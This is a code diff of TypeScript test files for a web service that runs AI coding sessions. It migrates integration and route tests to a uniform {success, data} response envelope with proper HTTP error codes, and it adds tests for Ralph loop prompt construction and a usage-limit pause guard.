@@ -351,9 +351,9 @@ describe('Ralph Integration Tests', () => {
|
||||
body: JSON.stringify({ caseName }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/input`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/input`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ input: null }),
|
||||
@@ -393,12 +393,12 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Wait for session to be ready
|
||||
await new Promise((r) => setTimeout(r, 200));
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/resize`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols: 120, rows: 40 }),
|
||||
@@ -420,12 +420,12 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Wait for session to be ready
|
||||
await new Promise((r) => setTimeout(r, 200));
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/resize`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols: -1, rows: 40 }),
|
||||
@@ -452,9 +452,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/auto-compact`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/auto-compact`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, threshold: 100000 }),
|
||||
@@ -489,9 +489,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/auto-compact`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/auto-compact`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, threshold: -100 }),
|
||||
@@ -516,9 +516,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/auto-clear`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/auto-clear`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, threshold: 150000 }),
|
||||
@@ -553,9 +553,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/auto-clear`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/auto-clear`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, threshold: -50 }),
|
||||
@@ -582,9 +582,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true }),
|
||||
@@ -606,9 +606,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ reset: true }),
|
||||
@@ -643,9 +643,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ reset: 'full' }),
|
||||
@@ -667,9 +667,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, completionPhrase: 'DONE' }),
|
||||
@@ -680,7 +680,7 @@ describe('Ralph Integration Tests', () => {
|
||||
expect(data.success).toBe(true);
|
||||
|
||||
// Verify the state was updated
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const stateData = await stateRes.json();
|
||||
|
||||
expect(stateData.success).toBe(true);
|
||||
@@ -698,9 +698,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ disableAutoEnable: true }),
|
||||
@@ -726,9 +726,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
@@ -750,17 +750,17 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Enable ralph tracking
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true, completionPhrase: 'TASK_DONE' }),
|
||||
});
|
||||
|
||||
// Check state
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
@@ -779,17 +779,17 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Enable first
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true }),
|
||||
});
|
||||
|
||||
// Then reset
|
||||
const resetRes = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
const resetRes = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ reset: true }),
|
||||
@@ -799,7 +799,7 @@ describe('Ralph Integration Tests', () => {
|
||||
expect(resetData.success).toBe(true);
|
||||
|
||||
// Check that todos are cleared
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const stateData = await stateRes.json();
|
||||
|
||||
expect(stateData.success).toBe(true);
|
||||
@@ -817,24 +817,24 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Enable tracking
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true }),
|
||||
});
|
||||
|
||||
// Soft reset (keep enabled)
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ reset: true }),
|
||||
});
|
||||
|
||||
// Check state
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const stateData = await stateRes.json();
|
||||
|
||||
expect(stateData.success).toBe(true);
|
||||
@@ -852,24 +852,24 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Enable tracking
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ enabled: true }),
|
||||
});
|
||||
|
||||
// Full reset
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-config`, {
|
||||
await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-config`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ reset: 'full' }),
|
||||
});
|
||||
|
||||
// Check state
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const stateRes = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const stateData = await stateRes.json();
|
||||
|
||||
expect(stateData.success).toBe(true);
|
||||
@@ -891,13 +891,13 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/respawn`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/respawn`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.enabled).toBe(false);
|
||||
expect(data.data.enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('should return error for respawn start on non-existent session', async () => {
|
||||
@@ -924,14 +924,14 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/respawn/stop`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/respawn/stop`, {
|
||||
method: 'POST',
|
||||
});
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.status).toBe(404);
|
||||
expect(data.success).toBe(false);
|
||||
expect(data.errorCode).toBe('NOT_FOUND');
|
||||
});
|
||||
@@ -947,9 +947,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/respawn/config`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/respawn/config`, {
|
||||
method: 'PUT',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ idleTimeoutMs: 10000 }),
|
||||
@@ -958,7 +958,7 @@ describe('Ralph Integration Tests', () => {
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.config.idleTimeoutMs).toBe(10000);
|
||||
expect(data.data.config.idleTimeoutMs).toBe(10000);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -976,9 +976,9 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/output`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/output`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
@@ -1008,14 +1008,14 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
expect(createData.success).toBe(true);
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/terminal`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/terminal`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.terminalBuffer).toBeDefined();
|
||||
expect(data.status).toBeDefined();
|
||||
expect(data.data.terminalBuffer).toBeDefined();
|
||||
expect(data.data.status).toBeDefined();
|
||||
});
|
||||
|
||||
it('should return error for terminal of non-existent session', async () => {
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
/**
|
||||
* @fileoverview Tests for Ralph loop prompt construction
|
||||
*
|
||||
* Verifies buildRalphLoopPrompt() output, and that the RALPH_STATUS contract
|
||||
* embedded in the prompt stays in sync with what RalphStatusParser parses.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { buildRalphLoopPrompt, RALPH_STATUS_CONTRACT } from '../src/prompts/ralph.js';
|
||||
import { RalphStatusParser } from '../src/ralph-status-parser.js';
|
||||
|
||||
describe('buildRalphLoopPrompt', () => {
|
||||
const baseOptions = {
|
||||
taskDescription: 'Add CRUD endpoints for todos',
|
||||
completionPhrase: 'COMPLETE',
|
||||
hasPlan: false,
|
||||
};
|
||||
|
||||
it('starts with the task description', () => {
|
||||
const prompt = buildRalphLoopPrompt(baseOptions);
|
||||
|
||||
expect(prompt.startsWith('Add CRUD endpoints for todos\n\n---\n\n')).toBe(true);
|
||||
});
|
||||
|
||||
it('embeds the completion phrase in the completion criteria', () => {
|
||||
const prompt = buildRalphLoopPrompt({ ...baseOptions, completionPhrase: 'ALL_DONE' });
|
||||
|
||||
expect(prompt).toContain('<promise>ALL_DONE</promise>');
|
||||
expect(prompt).toContain('## Completion Criteria');
|
||||
});
|
||||
|
||||
it('includes the task plan section only when a plan exists', () => {
|
||||
const withPlan = buildRalphLoopPrompt({ ...baseOptions, hasPlan: true });
|
||||
const withoutPlan = buildRalphLoopPrompt(baseOptions);
|
||||
|
||||
expect(withPlan).toContain('## Task Plan');
|
||||
expect(withPlan).toContain('@fix_plan.md');
|
||||
expect(withoutPlan).not.toContain('## Task Plan');
|
||||
});
|
||||
|
||||
it('always appends the RALPH_STATUS contract', () => {
|
||||
const prompt = buildRalphLoopPrompt(baseOptions);
|
||||
|
||||
expect(prompt).toContain(RALPH_STATUS_CONTRACT);
|
||||
expect(prompt).toContain('---RALPH_STATUS---');
|
||||
expect(prompt).toContain('---END_RALPH_STATUS---');
|
||||
});
|
||||
|
||||
it('documents every field RalphStatusParser expects', () => {
|
||||
for (const field of [
|
||||
'STATUS: IN_PROGRESS | COMPLETE | BLOCKED',
|
||||
'TASKS_COMPLETED_THIS_LOOP: <number>',
|
||||
'FILES_MODIFIED: <number>',
|
||||
'TESTS_STATUS: PASSING | FAILING | NOT_RUN',
|
||||
'WORK_TYPE: IMPLEMENTATION | TESTING | DOCUMENTATION | REFACTORING',
|
||||
'EXIT_SIGNAL: false | true',
|
||||
'RECOMMENDATION:',
|
||||
]) {
|
||||
expect(RALPH_STATUS_CONTRACT).toContain(field);
|
||||
}
|
||||
});
|
||||
|
||||
it('teaches a block format that RalphStatusParser actually parses', () => {
|
||||
// A response following the contract to the letter
|
||||
const conformingBlock = [
|
||||
'---RALPH_STATUS---',
|
||||
'STATUS: IN_PROGRESS',
|
||||
'TASKS_COMPLETED_THIS_LOOP: 2',
|
||||
'FILES_MODIFIED: 5',
|
||||
'TESTS_STATUS: PASSING',
|
||||
'WORK_TYPE: IMPLEMENTATION',
|
||||
'EXIT_SIGNAL: false',
|
||||
'RECOMMENDATION: Continue with the next endpoint',
|
||||
'---END_RALPH_STATUS---',
|
||||
];
|
||||
|
||||
const parser = new RalphStatusParser();
|
||||
for (const line of conformingBlock) {
|
||||
parser.processLine(line);
|
||||
}
|
||||
|
||||
const block = parser.lastStatusBlock;
|
||||
expect(block).not.toBeNull();
|
||||
expect(block?.status).toBe('IN_PROGRESS');
|
||||
expect(block?.tasksCompletedThisLoop).toBe(2);
|
||||
expect(block?.filesModified).toBe(5);
|
||||
expect(block?.testsStatus).toBe('PASSING');
|
||||
expect(block?.workType).toBe('IMPLEMENTATION');
|
||||
expect(block?.exitSignal).toBe(false);
|
||||
expect(block?.recommendation).toBe('Continue with the next endpoint');
|
||||
});
|
||||
});
|
||||
@@ -144,6 +144,42 @@ describe('RespawnController', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Usage-limit pause guard', () => {
|
||||
it('blocks the cycle while the session is paused on a usage limit', async () => {
|
||||
let cycleStarted = false;
|
||||
let blockedReason: string | null = null;
|
||||
controller.on('respawnCycleStarted', () => {
|
||||
cycleStarted = true;
|
||||
});
|
||||
controller.on('respawnBlocked', (data: { reason: string }) => {
|
||||
blockedReason = data.reason;
|
||||
});
|
||||
|
||||
session.isLimitPaused = true;
|
||||
controller.start();
|
||||
session.simulateCompletionMessage();
|
||||
await new Promise((resolve) => setTimeout(resolve, 250));
|
||||
|
||||
expect(cycleStarted).toBe(false);
|
||||
expect(blockedReason).toBe('usage_limit');
|
||||
expect(controller.state).toBe('watching');
|
||||
});
|
||||
|
||||
it('cycles normally when the pause is not active', async () => {
|
||||
let cycleStarted = false;
|
||||
controller.on('respawnCycleStarted', () => {
|
||||
cycleStarted = true;
|
||||
});
|
||||
|
||||
session.isLimitPaused = false;
|
||||
controller.start();
|
||||
session.simulateCompletionMessage();
|
||||
await new Promise((resolve) => setTimeout(resolve, 250));
|
||||
|
||||
expect(cycleStarted).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Respawn Cycle', () => {
|
||||
it('should start cycle when completion message detected and confirmed', async () => {
|
||||
let cycleStarted = false;
|
||||
|
||||
@@ -3,10 +3,22 @@
|
||||
*
|
||||
* Uses app.inject() — no real HTTP ports needed.
|
||||
* Port: N/A (app.inject doesn't open ports)
|
||||
*
|
||||
* Responses follow the uniform envelope contract:
|
||||
* SUCCESS -> HTTP 2xx, body = { success: true, data: <payload> }
|
||||
* ERROR -> HTTP 4xx/5xx, body = { success: false, error, errorCode }
|
||||
* Bare handler returns are wrapped into { success:true, data } and returned
|
||||
* error envelopes are mapped to their conventional HTTP status by the same
|
||||
* preSerialization hook the production server installs (mirrored below so test
|
||||
* behavior matches production exactly).
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
||||
import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js';
|
||||
import Fastify, { type FastifyInstance } from 'fastify';
|
||||
import fastifyCookie from '@fastify/cookie';
|
||||
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
|
||||
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
|
||||
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
|
||||
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
|
||||
|
||||
// Mock filesystem modules
|
||||
@@ -51,11 +63,52 @@ const mockedReaddirSync = vi.mocked(readdirSync);
|
||||
const mockedReaddir = vi.mocked(fs.readdir);
|
||||
const mockedReadFile = vi.mocked(fs.readFile);
|
||||
|
||||
interface CaseRouteHarness {
|
||||
app: FastifyInstance;
|
||||
ctx: MockRouteContext;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a route harness that mirrors production: cookie plugin, the shared
|
||||
* route error handler, AND the uniform-envelope preSerialization hook (copied
|
||||
* from src/web/server.ts) so bare handler returns become { success:true, data }
|
||||
* and returned error envelopes get mapped to a conventional HTTP status.
|
||||
*/
|
||||
async function createEnvelopeHarness(): Promise<CaseRouteHarness> {
|
||||
const app = Fastify({ logger: false });
|
||||
await app.register(fastifyCookie);
|
||||
|
||||
// Uniform response envelope (matches src/web/server.ts preSerialization hook).
|
||||
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
|
||||
if (!req.url.startsWith('/api')) return done(null, payload);
|
||||
if (payload === null || typeof payload !== 'object') return done(null, payload);
|
||||
if (Buffer.isBuffer(payload) || typeof (payload as { pipe?: unknown }).pipe === 'function') {
|
||||
return done(null, payload);
|
||||
}
|
||||
const p = payload as { success?: unknown; errorCode?: unknown };
|
||||
if (p.success === false) {
|
||||
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
|
||||
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
|
||||
}
|
||||
return done(null, payload);
|
||||
}
|
||||
if (p.success === true) return done(null, payload);
|
||||
return done(null, { success: true, data: payload });
|
||||
});
|
||||
|
||||
const ctx = createMockRouteContext();
|
||||
registerCaseRoutes(app, ctx as never);
|
||||
installRouteErrorHandler(app);
|
||||
await app.ready();
|
||||
|
||||
return { app, ctx };
|
||||
}
|
||||
|
||||
describe('case-routes', () => {
|
||||
let harness: RouteTestHarness;
|
||||
let harness: CaseRouteHarness;
|
||||
|
||||
beforeEach(async () => {
|
||||
harness = await createRouteTestHarness(registerCaseRoutes);
|
||||
harness = await createEnvelopeHarness();
|
||||
vi.clearAllMocks();
|
||||
|
||||
// Default: existsSync returns false, readFile throws ENOENT
|
||||
@@ -79,7 +132,8 @@ describe('case-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body).toEqual([]);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data).toEqual([]);
|
||||
});
|
||||
|
||||
it('returns cases from CASES_DIR', async () => {
|
||||
@@ -97,10 +151,10 @@ describe('case-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body).toHaveLength(2);
|
||||
expect(body[0].name).toBe('my-case');
|
||||
expect(body[1].name).toBe('other-case');
|
||||
expect(body[0].hasClaudeMd).toBe(false);
|
||||
expect(body.data).toHaveLength(2);
|
||||
expect(body.data[0].name).toBe('my-case');
|
||||
expect(body.data[1].name).toBe('other-case');
|
||||
expect(body.data[0].hasClaudeMd).toBe(false);
|
||||
});
|
||||
|
||||
it('includes hasClaudeMd flag', async () => {
|
||||
@@ -113,7 +167,7 @@ describe('case-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body[0].hasClaudeMd).toBe(true);
|
||||
expect(body.data[0].hasClaudeMd).toBe(true);
|
||||
});
|
||||
|
||||
it('includes linked cases from linked-cases.json', async () => {
|
||||
@@ -141,7 +195,7 @@ describe('case-routes', () => {
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
// Should have both regular and linked cases
|
||||
expect(body.length).toBeGreaterThanOrEqual(1);
|
||||
expect(body.data.length).toBeGreaterThanOrEqual(1);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -189,7 +243,7 @@ describe('case-routes', () => {
|
||||
url: '/api/cases',
|
||||
payload: { name: 'existing-case' },
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(409);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toContain('already exists');
|
||||
@@ -250,7 +304,7 @@ describe('case-routes', () => {
|
||||
url: '/api/cases/link',
|
||||
payload: { name: 'my-project', path: '/nonexistent/path' },
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(404);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toContain('not found');
|
||||
@@ -265,7 +319,7 @@ describe('case-routes', () => {
|
||||
url: '/api/cases/link',
|
||||
payload: { name: 'existing-case', path: '/home/user/project' },
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(409);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toContain('already exists');
|
||||
@@ -310,8 +364,9 @@ describe('case-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.name).toBe('my-case');
|
||||
expect(body.linked).toBe(true);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data.name).toBe('my-case');
|
||||
expect(body.data.linked).toBe(true);
|
||||
});
|
||||
|
||||
it('returns CASES_DIR case when no linked case found', async () => {
|
||||
@@ -326,7 +381,8 @@ describe('case-routes', () => {
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.name).toBe('regular-case');
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data.name).toBe('regular-case');
|
||||
});
|
||||
|
||||
it('returns error when case not found anywhere', async () => {
|
||||
@@ -337,7 +393,7 @@ describe('case-routes', () => {
|
||||
method: 'GET',
|
||||
url: '/api/cases/nonexistent',
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.statusCode).toBe(404);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.error).toContain('not found');
|
||||
@@ -358,9 +414,9 @@ describe('case-routes', () => {
|
||||
expect(res.statusCode).toBe(200);
|
||||
const body = JSON.parse(res.body);
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.exists).toBe(false);
|
||||
expect(body.content).toBeNull();
|
||||
expect(body.todos).toEqual([]);
|
||||
expect(body.data.exists).toBe(false);
|
||||
expect(body.data.content).toBeNull();
|
||||
expect(body.data.todos).toEqual([]);
|
||||
});
|
||||
|
||||
